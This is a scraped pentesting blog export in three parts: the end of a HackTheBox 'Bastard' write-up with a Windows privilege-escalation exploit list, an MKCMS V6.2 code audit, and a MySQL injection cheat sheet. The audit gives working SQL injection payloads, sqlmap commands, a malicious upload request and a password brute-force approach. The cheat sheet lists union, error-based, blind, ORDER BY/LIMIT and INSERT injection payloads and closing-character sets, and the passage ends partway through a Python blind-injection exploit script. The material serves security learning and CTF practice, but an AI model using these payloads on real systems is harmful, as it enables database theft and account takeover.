MS15-015 [KB3031432]　[Kernel Driver]　(Win7/8/8.1/2012/RT/2012 R2/2008 R2) MS15-001 [KB3023266]　[Kernel Driver]　(2008/2012/7/8) MS14-070 [KB2989935]　[Kernel Driver]　(2003) MS14-068 [KB3011780]　[Domain Privilege Escalation]　(2003/2008/2012/7/8) MS14-058 [KB3000061]　[Win32k.sys]　(2003/2008/2012/7/8) MS14-040 [KB2975684]　[AFD Driver]　(2003/2008/2012/7/8) MS14-002 [KB2914368]　[NDProxy]　(2003/XP) MS13-053 [KB2850851]　[win32k.sys]　(XP/Vista/2003/2008/win 7) MS13-046 [KB2840221]　[dxgkrnl.sys]　(Vista/2003/2008/2012/7) MS13-005 [KB2778930]　[Kernel Mode Driver]　(2003/2008/2012/win7/8) MS12-042 [KB2972621]　[Service Bus]　(2008/2012/win7) MS12-020 [KB2671387]　[RDP]　(2003/2008/7/XP) MS11-080 [KB2592799]　[AFD.sys]　(2003/XP) MS11-062 [KB2566454]　[NDISTAPI]　(2003/XP) MS11-046 [KB2503665]　[AFD.sys]　(2003/2008/7/XP) MS11-011 [KB2393802]　[kernel Driver]　(2003/2008/7/XP/Vista) MS10-092 [KB2305420]　[Task Scheduler]　(2008/7) MS10-065 [KB2267960]　[FastCGI]　(IIS 5.1, 6.0, 7.0, and 7.5) MS10-059 [KB982799]　[ACL-Churraskito]　(2008/7/Vista) MS10-048 [KB2160329]　[win32k.sys]　(XP SP2 \u0026amp; SP3/2003 SP2/Vista SP1 \u0026amp; SP2/2008 Gold \u0026amp; SP2 \u0026amp; R2/Win7) MS10-015 [KB977165]　[KiTrap0D]　(2003/2008/7/XP) MS09-050 [KB975517]　[Remote Code Execution]　(2008/Vista) MS09-020 [KB970483]　[IIS 6.0]　(IIS 5.1 and 6.0) MS09-012 [KB959454]　[Chimichurri]　(Vista/win7/2008/Vista) MS08-068 [KB957097]　[Remote Code Execution]　(2000/XP) MS08-067 [KB958644]　[Remote Code Execution]　(Windows 2000/XP/Server 2003/Vista/Server 2008) MS08-025 [KB941693]　[Win32.sys]　(XP/2003/2008/Vista) MS06-040 [KB921883]　[Remote Code Execution]　(2003/xp/2000) MS05-039 [KB899588]　[PnP Service]　(Win 9X/ME/NT/2000/XP/2003) MS03-026 [KB823980]　[Buffer Overrun In RPC Interface]　(/NT/2000/XP/2003) reference Sharing a tool for dumping the lsass.exe process - CE653A - cnblogs https://0xdf.gitlab.io/2019/03/12/htb-bastard.html https://prakash-khadka.com.np/hackthebox-bastard-windows/ https://github.com/Re4son/Chimichurri https://www.isfirst.net/drupal/drupal-reset-password Windows hash dumping summary - FreeBuf column · TideSec ","permalink":"https://www.unc.la/en/posts/penetration/gm9u63/","summary":"\u003cp\u003eI\u0026rsquo;ve recently been playing \u003cstrong\u003eH\u003c/strong\u003eack\u003cstrong\u003eT\u003c/strong\u003ehe\u003cstrong\u003eB\u003c/strong\u003eox target machines, and I feel you can learn quite a lot from them, so below\u003c/p\u003e\n\u003cp\u003eIf you also want to play target machines, you can register an account and give it a try. Registration requires completing a CTF-like challenge, which is pretty interesting.\u003c/p\u003e\n\u003cp\u003eNow let\u0026rsquo;s get to the point\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eTarget machine address\u003c/strong\u003e \u003ccode\u003e10.10.10.9\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1587124122471-8f43fcd0-7c5a-4be4-96a8-2f27ab2de635.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"information-gathering\"\u003eInformation Gathering\u003c/h1\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1587118777861-a016a5fb-bf1c-4139-8946-a3e7fd7db479.png\"\u003e\u003c/p\u003e\n\u003cp\u003ePort 80 runs a \u003ccode\u003edrupal\u003c/code\u003e site, which I had encountered in some lab before. I tried hitting it with the RCE exploit in msf, but failed.\u003c/p\u003e","title":"HackTheBox: Bastard Notes"},{"content":"Originally published on the Xianzhi community: MKCMS代码审计小结 - 先知社区\nMKCMS V6.2 (source code below comes from the Internet)\nMKCMS Miku video source code 6.2, an open-source CMS\nDownload link: https://pan.baidu.com/s/1cZX5x9SbcXMCMXismfH4ow extraction code: k3ox\nAlternate download: https://www.lanzous.com/ib7zwmh\n.htaccess 0x00 Global Filter Analysis /system/library.php: uses addslashes to escape incoming parameters; note that $_SERVER is not filtered\n0x01 CAPTCHA Reuse The logic at the CAPTCHA check in /admin/cms_login.php is as follows: it compares the CAPTCHA in the session with the one entered, and if they don\u0026rsquo;t match it goes into alert_href, a js redirect that effectively refreshes the page\n/admin/cms_login.php: \u0026lt;?php 6 ... 7 if(isset($_POST[\u0026#39;submit\u0026#39;])){ 8: if ($_SESSION[\u0026#39;verifycode\u0026#39;] != $_POST[\u0026#39;verifycode\u0026#39;]) { 9 alert_href(\u0026#39;验证码错误\u0026#39;,\u0026#39;cms_login.php\u0026#39;); 10 } ... After the redirect the CAPTCHA would be refreshed, but I\u0026rsquo;m using Burp, which doesn\u0026rsquo;t execute js by default\nSearching globally for this $_SESSION['verifycode'], I found it is only assigned in /system/verifycode.php. That means if, after using a CAPTCHA, we don\u0026rsquo;t follow the js redirect, the CAPTCHA is never reset — so the CAPTCHA can be reused\nReplaying with Burp confirms it: the CAPTCHA is effectively useless\n0x02 Front-End Injection 1: /ucenter/repass.php I looked through the historical vulnerabilities and found an unauthorized password-change bug in /ucenter/repass.php (CVE-2019-11332). Following the code in, it turned out there was also an injection. Here\u0026rsquo;s the analysis:\n/ucenter/repass.php \u0026lt;?php ... if(isset($_POST[\u0026#39;submit\u0026#39;])){ $username = stripslashes(trim($_POST[\u0026#39;name\u0026#39;])); $email = trim($_POST[\u0026#39;email\u0026#39;]); // check whether the username exists $query = mysql_query(\u0026#34;select u_id from mkcms_user where u_name=\u0026#39;$username\u0026#39; and u_email=\u0026#39;$email\u0026#39;\u0026#34;); ... As mentioned before, the global filter applies addslash escaping to $_POST (adding \\ to escape), but here the parameter is passed through stripslashes (removing the \\) — isn\u0026rsquo;t that just an injection?\nLater, in retrospect, it turned out that coolcat had already raised this issue on Xianzhi last year: 某KCMS5.0 代码审计 (前台注入\u0026amp;任意用户密码重置)， — master, respect!\n0x03 Front-End Injection 2: /ucenter/active.php /ucenter/active.php?verify=1 has an injection\n/ucenter/active.php \u0026lt;?php ... $verify = stripslashes(trim($_GET[\u0026#39;verify\u0026#39;]));\t// strips the escaping \\ $nowtime = time(); $query = mysql_query(\u0026#34;select u_id from mkcms_user where u_question=\u0026#39;$verify\u0026#39;\u0026#34;); $row = mysql_fetch_array($query); ... sqlmap can exploit it directly\n[INFO] GET parameter \u0026#39;verify\u0026#39; appears to be \u0026#39;MySQL \u0026gt;= 5.0.12 AND time-based blind (query SLEEP)\u0026#39; injectable [INFO] GET parameter \u0026#39;verify\u0026#39; is \u0026#39;Generic UNION query (NULL) - 1 to 20 columns\u0026#39; injectable 0x04 Front-End Injection 3: /ucenter/reg.php The name parameter of /ucenter/reg.php has an injection\n/ucenter/reg.php \u0026lt;?php ... if(isset($_POST[\u0026#39;submit\u0026#39;])){ $username = stripslashes(trim($_POST[\u0026#39;name\u0026#39;])); // check whether the username exists $query = mysql_query(\u0026#34;select u_id from mkcms_user where u_name=\u0026#39;$username\u0026#39;\u0026#34;); ... 0x05 Arbitrary User Password Recovery (Password Can Be Brute-Forced) Arbitrary user password recovery\nThe problem lies in the password-recovery logic in /ucenter/repass.php: once line 10 finds a matching username and email, line 14 just resets the password directly\u0026hellip; Moreover, the password\u0026rsquo;s range is given on line 12 — only 90000 possibilities. After the reset, just run it through Burp and it\u0026rsquo;s done, right? (Of course, this only works for effective brute-forcing when combined with the CAPTCHA reuse)\n0x06 Guessable Backup File Path This backup feature is unbelievable, and with such a simple filename too\n/backupdata/movie.sql\n/admin/cms_backup.php \u0026lt;?php $filename=\u0026#34;../backupdata/\u0026#34;.DATA_NAME.\u0026#34;.sql\u0026#34;; // storage path, stored by default at the outermost level of the project $fp = fopen($filename,\u0026#39;w\u0026#39;); fputs($fp,$mysql); fclose($fp); alert_href(\u0026#39;备份成功!\u0026#39;,\u0026#39;cms_data.php\u0026#39;); ?\u0026gt; Searching globally for the DATA_NAME variable shows it\u0026rsquo;s the database name set during installation\nThe default DATA_NAME value is movie\n0x07 Front-End File Upload /editor/php/upload_json.php?dir=file\nThe source code is as follows\n\u0026lt;?php $ext_arr = array( \u0026#39;image\u0026#39; =\u0026gt; array(\u0026#39;gif\u0026#39;, \u0026#39;jpg\u0026#39;, \u0026#39;jpeg\u0026#39;, \u0026#39;png\u0026#39;, \u0026#39;bmp\u0026#39;), \u0026#39;flash\u0026#39; =\u0026gt; array(\u0026#39;swf\u0026#39;, \u0026#39;flv\u0026#39;), \u0026#39;media\u0026#39; =\u0026gt; array(\u0026#39;swf\u0026#39;, \u0026#39;flv\u0026#39;, \u0026#39;mp3\u0026#39;, \u0026#39;wav\u0026#39;, \u0026#39;wma\u0026#39;, \u0026#39;wmv\u0026#39;, \u0026#39;mid\u0026#39;, \u0026#39;avi\u0026#39;, \u0026#39;mpg\u0026#39;, \u0026#39;asf\u0026#39;, \u0026#39;rm\u0026#39;, \u0026#39;rmvb\u0026#39;), \u0026#39;file\u0026#39; =\u0026gt; array(\u0026#39;doc\u0026#39;, \u0026#39;docx\u0026#39;, \u0026#39;xls\u0026#39;, \u0026#39;xlsx\u0026#39;, \u0026#39;ppt\u0026#39;, \u0026#39;htm\u0026#39;, \u0026#39;html\u0026#39;, \u0026#39;txt\u0026#39;, \u0026#39;zip\u0026#39;, \u0026#39;rar\u0026#39;, \u0026#39;gz\u0026#39;, \u0026#39;bz2\u0026#39; ,\u0026#39;7z\u0026#39;), ); ... $file_name = $_FILES[\u0026#39;imgFile\u0026#39;][\u0026#39;name\u0026#39;]; ... // get the file extension $temp_arr = explode(\u0026#34;.\u0026#34;, $file_name); $file_ext = array_pop($temp_arr); $file_ext = trim($file_ext); /* converts file_ext to a string... no weak-typing issue **/ $file_ext = strtolower($file_ext); // converts file_ext to a string... no weak-typing issue // checks whether the extension is in the big array; in_array has a weak-typing issue if (in_array($file_ext, $ext_arr[$dir_name]) === false) { alert(\u0026#34;上传文件扩展名是不允许的扩展名。\\n只允许\u0026#34; . implode(\u0026#34;,\u0026#34;, $ext_arr[$dir_name]) . \u0026#34;格式。\u0026#34;); }result ... Files in the list can be uploaded, but you can\u0026rsquo;t get a shell this way\nPOST /editor/php/upload_json.php?dir=file HTTP/1.1 Host: localhost Content-Length: 306 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryni3BwmVzIUwKfSSC Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryni3BwmVzIUwKfSSC Content-Disposition: form-data; name=\u0026#34;imgFile\u0026#34;; filename=\u0026#34;1.jpg.html\u0026#34; Content-Type: application/octet-stream 11111111 ------WebKitFormBoundaryni3BwmVzIUwKfSSC Content-Disposition: form-data; name=\u0026#34;upload\u0026#34; Send ------WebKitFormBoundaryni3BwmVzIUwKfSSC-- An upload link appears\n0x08 Hardcoded Credentials /ucenter/yanzhengma.php — the password is hardcoded right in it. Tested, and it works for login (just a joke, don\u0026rsquo;t take it seriously\n0x09 Broken Access Control /ucenter/mingxi.php\nThe membership-card information is determined solely by user-supplied parameters, so a broken-access-control vulnerability definitely exists\nPostscript txprotect.php CVE Request : English Version Source code can be downloaded at https://www.lanzous.com/ib7zwmh\n0x00:Lead In This CMS is kinda funny, coz there is a universal filter addslashes in /system/library.php\n/system/library.php \u0026lt;?php ... if (!get_magic_quotes_gpc()) { if (!empty($_GET)) { $_GET = addslashes_deep($_GET); } if (!empty($_POST)) { $_POST = addslashes_deep($_POST); } $_COOKIE = addslashes_deep($_COOKIE); $_REQUEST = addslashes_deep($_REQUEST); } function addslashes_deep($_var_0) { if (empty($_var_0)) { return $_var_0; } else { return is_array($_var_0) ? array_map(\u0026#39;addslashes_deep\u0026#39;, $_var_0) : addslashes($_var_0); }_var_0 } While it uses stripslashes somewhere by mistake, let\u0026rsquo;s do a global search about it, we get** 3 SQL injections **\n0x01:PreAuth SQL injection in /ucenter/repass.php MKCMS V6.2 has SQL injection via the /ucenter/repass.php name parameter.\n/ucenter/repass.php \u0026lt;?php ... if(isset($_POST[\u0026#39;submit\u0026#39;])){ $username = stripslashes(trim($_POST[\u0026#39;name\u0026#39;])); $email = trim($_POST[\u0026#39;email\u0026#39;]); // check whether the username exists $query = mysql_query(\u0026#34;select u_id from mkcms_user where u_name=\u0026#39;$username\u0026#39; and u_email=\u0026#39;$email\u0026#39;\u0026#34;); ... and it can be automated exploited by sqlmap namely\nsqlmap -u http://localhost/ucenter/repass.php --data \u0026#34;name=1\u0026amp;email=1@1.com\u0026#34; -p name Parameter: name (POST) Type: time-based blind Title: MySQL \u0026gt;= 5.0.12 AND time-based blind (query SLEEP) Payload: name=11\u0026#39; AND (SELECT 7672 FROM (SELECT(SLEEP(5)))NmRk) AND \u0026#39;VTKx\u0026#39;=\u0026#39;VTKx\u0026amp;email=222@222.m\u0026amp;submit= And this can be tracked in 2019 via https://xz.aliyun.com/t/4189#toc-1 by CoolCat, so CVE request of this vuln won\u0026rsquo;t belong to me, I just wanna enrich the CVE database.\n0x02:PreAuth SQL injection in /ucenter/active.php MKCMS V6.2 has SQL injection via the /ucenter/active.php verify parameter.\n/ucenter/active.php \u0026lt;?php ... $verify = stripslashes(trim($_GET[\u0026#39;verify\u0026#39;]));\t// strips the escaping \\ $nowtime = time(); $query = mysql_query(\u0026#34;select u_id from mkcms_user where u_question=\u0026#39;$verify\u0026#39;\u0026#34;); $row = mysql_fetch_array($query); ... Likewise, attackers can exploit it via sqlmap by typing\nsqlmap -u http://localhost/ucenter/active.php?verify=1 Parameter: verify (GET) Type: time-based blind Title: MySQL \u0026gt;= 5.0.12 AND time-based blind (query SLEEP) Payload: verify=1\u0026#39; AND (SELECT 5656 FROM (SELECT(SLEEP(5)))xcPF) AND \u0026#39;TRJq\u0026#39;=\u0026#39;TRJq Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: verify=1\u0026#39; UNION ALL SELECT CONCAT(0x7171786b71,0x706d4e457048744251624653456d554a685a77654c66497a736d704c7454586462716f457a56587a,0x71707a7671)-- WUGv 0x03:PreAuth SQL injection in /ucenter/reg.php MKCMS V6.2 has SQL injection via the /ucenter/reg.php name parameter.h\n/ucenter/reg.php \u0026lt;?php ... if(isset($_POST[\u0026#39;submit\u0026#39;])){ $username = stripslashes(trim($_POST[\u0026#39;name\u0026#39;])); // check whether the username exists $query = mysql_query(\u0026#34;select u_id from mkcms_user where u_name=\u0026#39;$username\u0026#39;\u0026#34;); ... Again, sqlmap can be used to automate the exploitation\nsqlmap -u http://localhost/ucenter/reg.php --data \u0026#34;name=1\u0026amp;submit=1@1.com\u0026#34; -p name Parameter: name (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: name=1\u0026#39; AND 2487=2487 AND \u0026#39;WOhs\u0026#39;=\u0026#39;WOhs\u0026amp;submit=1@1.com Type: time-based blind Title: MySQL \u0026gt;= 5.0.12 AND time-based blind (query SLEEP) Payload: name=1\u0026#39; AND (SELECT 6840 FROM (SELECT(SLEEP(5)))rygh) AND \u0026#39;eoEE\u0026#39;=\u0026#39;eoEE\u0026amp;submit=1@1.com 0x04:Mitigation remove the stripslashes() before the POST/GET param, thus we can\u0026rsquo;t exploit it unless the coding of MYSQL is GBK/GB2312, i.e.wide byte sql injection.\n(In my opinion, is there any need to escape the name? it has never been allowed at all !\n","permalink":"https://www.unc.la/en/posts/penetration/szhnn0/","summary":"\u003cp\u003eOriginally published on the Xianzhi community: \u003ca href=\"https://xz.aliyun.com/t/7580\"\u003eMKCMS代码审计小结 - 先知社区\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eMKCMS V6.2    (source code below comes from the Internet)\u003c/p\u003e\n\u003cp\u003eMKCMS Miku video source code 6.2, an open-source CMS\u003c/p\u003e\n\u003cp\u003eDownload link: \u003ca href=\"https://pan.baidu.com/s/1cZX5x9SbcXMCMXismfH4ow\"\u003ehttps://pan.baidu.com/s/1cZX5x9SbcXMCMXismfH4ow\u003c/a\u003e  extraction code: k3ox\u003c/p\u003e\n\u003cp\u003eAlternate download: \u003ca href=\"https://www.lanzous.com/ib7zwmh\"\u003ehttps://www.lanzous.com/ib7zwmh\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1637212203651-bd33ce55-3bea-4e5e-b129-bbe3ad474665.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"htaccess\"\u003e.htaccess\u003c/h2\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1637212300645-2fdfae47-c768-4bf1-980a-f1c2abb5bd44.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"0x00-global-filter-analysis\"\u003e0x00 Global Filter Analysis\u003c/h1\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1637212074702-2da62da1-103e-44e1-a381-99ae355f1a6f.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/system/library.php:\u003c/code\u003e uses \u003ccode\u003eaddslashes\u003c/code\u003e to escape incoming parameters; note that \u003ccode\u003e$_SERVER\u003c/code\u003e is not filtered\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1586576535561-9161a459-66b4-4503-b922-836306186781.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"0x01-captcha-reuse\"\u003e0x01 CAPTCHA Reuse\u003c/h1\u003e\n\u003cp\u003eThe logic at the CAPTCHA check in \u003ccode\u003e/admin/cms_login.php\u003c/code\u003e is as follows: it compares the CAPTCHA in the session with the one entered, and if they don\u0026rsquo;t match it goes into \u003ccode\u003ealert_href\u003c/code\u003e, a \u003ccode\u003ejs\u003c/code\u003e redirect that effectively refreshes the page\u003c/p\u003e","title":"[Guest Post] MKCMS Code Audit Notes"},{"content":" bypass\nhttps://xz.aliyun.com/t/7767\nODBC: https://forum.butian.net/share/113\nhttps://www.o2oxy.cn/2772.html\nCommon Payloads # Test! LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); # UNION BASED ## List all databases union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA # List all tables in the test database (hex works everywhere too) union select group_concat(TABLE_name) from information_schema.tables where table_schema=`test` # List all columns in (database: test, table: admin) union select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=`test` and TABLE_NAME=`admin` UNION SELECT 1,2,group_concat( column_name,0x20)) from information_schema.columns # valid queries id=1\u0026#39; AND 1=2 union select 1,2,(select group_concat() from information_schema.schemata) -- + id=1\u0026#39; AND 1=2 union select 1,2,(select group_concat() from information_schema.tables where table_schema=\u0026#39;security\u0026#39;)-- # id=1\u0026#39; AND 1=2 union select 1,2,(select group_concat() from information_schema.columns where table_name=\u0026#39;users\u0026#39;) -- + - Note: group_concat can be used without GROUP BY, but it must contain column names, not subqueries - The echoed output often has a length limit # ERROR BASED (error-based injection) updatexml(\u0026#39;2\u0026#39;,concat(\u0026#39;~\u0026#39;,(select current_user()),\u0026#39;~\u0026#39;),\u0026#39;2\u0026#39;)-- - extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1),\u0026#39;~\u0026#39;));-- -\tselect from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x )x-- - - concat can be replaced with concat_ws, and group_concat can consolidate the results # BLIND SQL injection (boolean-blind, time-based) id = 1\u0026#34; and sleep(0)=\u0026#39;1\u0026#39; -- - id=1\u0026#34; and if(1=1, sleep(3) , 1 ) -- - id=1 and 1=(case when (2=2) then sleep(5) else 1 end) -- # - For blind injection, it seems you can only determine the closing character by whether a delay occurs - The statement after CASE WHEN must be wrapped in parentheses, otherwise it won\u0026#39;t succeed # Basic information select @@basedir select @@datadir select current_user() select version() select @@version select database() select @@database # POC extractvalue(0X20, concat(0x5c, (VERSION（)),\u0026#39;~\u0026#39;));-- -\tFor error-based injection the syntax must be error-free; close whatever needs to be closed, e.g. with a comment (-- -) Conclusion: generally, wherever blind injection works, you can also use outfile|dumpfile|load_file. Blind injection falls into two categories: boolean-based blind injection + time-based blind injection. Since there is no true/false echo — no difference whatsoever visible in the response (response includes: response size / status code / page text) — delay functions are the only option. Generally sleep and benchmark can be used as delay functions, but the article below describes a new way to introduce a delay.\nFive Delay Methods for MySQL Time-Based Blind Injection (PWNHUB unintended solution)\nCommon Scripts https://github.com/hi-unc1e/some_scripts\nHandler Injection ref\nhttps://www.cnblogs.com/hello-there/p/12882991.html Column-name-less injection (commas banned)\nunion select 1,2,3 \u0026lt;=\u0026gt; union select * from (select 1)a join (select 2)b join (select 3)c limit 2,1 \u0026lt;=\u0026gt;limit 1 offset 2 ORDER BY Injection order by 1,(case when (1=1) then 1 else 0 end) # PGSQL: you need [1/$] to change operator precedence order by tstamp, 1/(case when (11=111) then 1 else 0 end) Injection points after ORDER BY: SQL pre-compilation solves SQL injection, but some places cannot be parameterized. For example, what follows ORDER BY cannot be parameterized. When hunting for injections, keep an eye on orderby and sort parameters — a sure hit every time.\nWhy can\u0026rsquo;t ORDER BY be parameterized in queries? See here\nIt\u0026rsquo;s a string, yet you can\u0026rsquo;t add quotes (otherwise the query errors out)\nPre-compilation (parameterization) adds quotes automatically\nCannot pre-compile =\u0026gt; leads to injection\nInjections occurring after the ORDER BY clause have the following characteristics:\nNo arithmetic can be performed, i.e. sort=2 and sort=(3-1) are not the same If you directly use if(1=2,1,SLEEP(2)), the sleep time becomes 2 × the number of records in the current table, which amounts to a denial-of-service attack on the server. It\u0026rsquo;s recommended to verify time-based injection with a sub-statement, e.g. if(1=2,1,(select 1 from (select SLEEP(2))x)) In special cases UNION injection works, e.g. $query = \u0026#34;(select * from test order by user_id $evil);\u0026#34;; In this case inject with ) UNION (SELECT 1,(version()),3)-- , as shown below.\nref\nMysql-Order-By-Injection-Summary Penetration Experience Sharing: Expanding SQL Injection Ideas - Xianzhi community Injection after LIMIT If no ORDER BY clause precedes LIMIT, you can inject directly with UNION SELECT\nIf an ORDER BY clause precedes LIMIT and the MySQL version is between 5.0.0 and 5.7.18, try the PROCEDURE stored-procedure extension and the ANALYSE function\nPROCEDURE ANALYSE() is deprecated as of MySQL 5.7.18, and is removed in MySQL 8.0.\nError-based injection, payload as follows\nLIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x7c,version())),rand()); # mysql\u0026gt; select `table_name` from information_schema.tables limit 0,1 procedure analyse(extractvalue(rand(), concat(0x7c, version(),0x7c)),rand()); ERROR 1105 (HY000): XPATH syntax error: \u0026#39;|5.5.44-0ubuntu0.14.04.1|\u0026#39; If error output isn\u0026rsquo;t available, you can use time-based injection — but not with sleep(), which throws ERROR 1105 (HY000): Only constant XPATH queries are supported\nPROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1) // Although it errors out, there really is a delay 1\u0026#39; when the CASE is true: delay, then the error 2\u0026#39; when the CASE is false: immediate error ref\nhttps://www.cnblogs.com/qing123/p/4575901.html https://xz.aliyun.com/t/5858 Injection Without Inserting Data (INSERT / UPDATE Injection) The Wangding Cup featured an unconventional injection technique: completing an injection within an INSERT statement without actually inserting data, using the pow(999,999) overflow error.\nFirst, let\u0026rsquo;s look at the following statements\n# When (1=1) is true, the query errors. That is, when (QUERY) is true, the query errors out. mysql\u0026gt; select `table_name` from information_schema.tables where （1=1） and pow(999,999); ERROR 1690 (22003): DOUBLE value is out of range in \u0026#39;pow(999,999)\u0026#39; # When (1=0) is false, the query result is empty. That is, when (QUERY) is false, the result set is empty. mysql\u0026gt; select `table_name` from information_schema.tables where （1=0） and pow(999,999); Empty set (0.00 sec) Error =\u0026gt; query is true Empty result =\u0026gt; query is false With the True/False response behavior pinned down, you\u0026rsquo;ll immediately realize this is really just boolean-based blind injection — you can exfiltrate data without inserting anything into the database.\nRoot-cause analysis (the following is purely my own understanding):\nBecause （QUERY）and pow(999,999) uses a binary operator that is only true when both sides are true — as soon as it hits a false it immediately returns false and performs no further computation. In other words, and here operates in three states: True, False, and Error; we exploit the difference between the latter two states to implement blind injection.\nSummary\n1). When the query QUERY is false, MySQL does not evaluate the following pow(999,999) and simply returns false;\n2). When the query QUERY is true, MySQL evaluates the following pow(999,999); since the number is too large and overflows, it of course errors out.\nClosing characters\n# Closing characters 0|()-- 0\u0026#39;|()-- 0\u0026#34;|()-- 0)|()-- 0\u0026#39;)|()-- 0\u0026#34;)|()-- 0))|()-- 0\u0026#39;))|()-- 0\u0026#34;))|()-- 0)))|()-- ##################################### # When single quotes are filtered (stripped) 0%df\u0026#39;|()-- 0%df\u0026#39;)|()-- 0%df\u0026#39;))|()-- ##################################### # When double quotes are filtered 0%df\u0026#34;|()-- 0%df\u0026#34;)|()-- 0%df\u0026#34;))|()-- ##################################### 0\u0026#39;|()|\u0026#39;\u0026#39;=\u0026#39;1-- 0\u0026#34;|()|\u0026#39;\u0026#39;=\u0026#39;1-- 0)|()|\u0026#39;\u0026#39;=\u0026#39;1-- 0\u0026#39;)|()|\u0026#39;\u0026#39;=\u0026#39;1-- 0\u0026#34;)|()|\u0026#39;\u0026#39;=\u0026#39;1-- 0))|()|\u0026#39;\u0026#39;=\u0026#39;1-- 0\u0026#39;))|()|\u0026#39;\u0026#39;=\u0026#39;1-- 0\u0026#34;))|()|\u0026#39;\u0026#39;=\u0026#39;1-- 0)))|()|\u0026#39;\u0026#39;=\u0026#39;1-- ##################################### 0\u0026#39;||()||\u0026#39;\u0026#39;=\u0026#39;1 Less-65:Challenge-12 The closing character is \u0026quot;) — tweak the exploit and charge!\nLess-64:Challenge-11 The closing character is )), same as the previous two levels\nLess-63:Challenge-10 The closing character is a single quote '\nJust tweak the closing character in the script and you\u0026rsquo;re set — pure comfort\n# less43-exp.py # coding=utf-8 # author:unc1e import requests import string # mysql\u0026gt; select ascii(\u0026#39;1\u0026#39;), (select substring(ascii(\u0026#39;1\u0026#39;),1,1)), (select substring(ascii(\u0026#39;1\u0026#39;),2,1)); # +------------+------------------------------------+------------------------------------+ # | ascii(\u0026#39;1\u0026#39;) | (select substring(ascii(\u0026#39;1\u0026#39;),1,1)) | (select substring(ascii(\u0026#39;1\u0026#39;),2,1)) | # +------------+------------------------------------+------------------------------------+ # | 49 | 4 | 9 | # +------------+------------------------------------+------------------------------------+ def str_to_hex(s): \u0026#39;\u0026#39;\u0026#39; :param s: :return: convert the string to a hex value prefixed with 0x \u0026#39;\u0026#39;\u0026#39; return \u0026#39;0x\u0026#39;+\u0026#39;\u0026#39;.join([hex(ord(c)).replace(\u0026#39;0x\u0026#39;, \u0026#39;\u0026#39;) for c in s]) # initialize param url = \u0026#34;https://sec4ever.cn/Less-63/index.php?id=0\u0026#39; \u0026#34; reset_url =\u0026#34;https://sec4ever.cn/sql-connections/setup-db-challenge.php?id={}\u0026#34;.format(url.split(\u0026#34;sec4ever.cn\u0026#34;)[1]) # /sql-connections/setup-db-challenge.php?id=/Less-60/index.php TIMEOUT = 8 VERIFY = True table_name_len = len(\u0026#39;UX9CUK2CIC\u0026#39;) flag_len = len(\u0026#39;uwpeCvsrLcadsa8P7wSn9Ix4\u0026#39;) charIndexSet = [\u0026#34;Dumb\u0026#34;,\u0026#34;Angelina\u0026#34;,\u0026#34;Dummy\u0026#34;,\u0026#34;secure\u0026#34;,\u0026#34;stupid\u0026#34;,\u0026#34;superman\u0026#34;,\u0026#34;batman\u0026#34;,\u0026#34;admin\u0026#34;,\u0026#34;admin1\u0026#34;,\u0026#34;admin2\u0026#34;,\u0026#34;admin3\u0026#34;,\u0026#34;dhakkan\u0026#34;,\u0026#34;admin4\u0026#34;] # string characteristics, index is from 0-9 charIndexSet_rev = charIndexSet[::-1] Set = [ -3, -2, -1 ] # take the hundreds + tens + ones digits of the string\u0026#39;s ASCII value # ones digit: substring((query),-1, 1) # tens digit: substring((query),-2, 1); # hundreds digit: substring((query),-3, 1), # initialize sess = requests.session() def req2getOneChar(xurl, payload, start, end): \u0026#39;\u0026#39;\u0026#39; :param xurl: base url :param payload: (select group_concat(table_name) from information_schema.tables where table_schema=0x6368616c6c656e676573) :param start ,end: [start, end] :return: \u0026#39;\u0026#39;\u0026#39; asciiValue = [\u0026#39;0\u0026#39;,\u0026#39;0\u0026#39;,\u0026#39;0\u0026#39;] # hundreds, tens, ones flag = \u0026#34;\u0026#34; for l in range(start, end+1): for k, kv in enumerate(Set):# fetch first # k = 0, 1, 2 # kv = -3, -2, -1 used with substring to get each digit of the ASCII value url = xurl + \u0026#34;or id=\u0026#34; + \u0026#34;substring(ascii(substring(({payload}), {l}, 1)), {kv}, 1)\u0026#34;.format(payload=payload, l=l, kv=kv ) + \u0026#39;-- -\u0026#39; #print(url) resp = sess.get(url=url, 